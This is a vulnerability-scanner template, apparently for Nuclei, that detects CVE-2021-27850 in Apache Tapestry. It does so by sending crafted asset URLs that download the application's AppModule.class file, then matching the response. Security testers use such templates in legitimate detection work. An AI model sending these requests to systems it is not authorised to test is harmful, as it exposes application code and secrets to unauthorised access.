id: CVE-2021-27850

info:
  name: Apache Tapestry - Arbitrary class download
  author: pdteam
  severity: critical
  description: |
    A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27850
    cwe-id: CWE-502
  tags: cve,cve2021,apache,tapestry

requests:
  - raw:
      - |
        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    extractors:
      - type: regex
        regex:
          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
        internal: true
        name: id
        part: header
        group: 1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'application/java'
        part: header

      - type: word
        words:
          - 'configuration'
          - 'webtools'
        part: body
        condition: and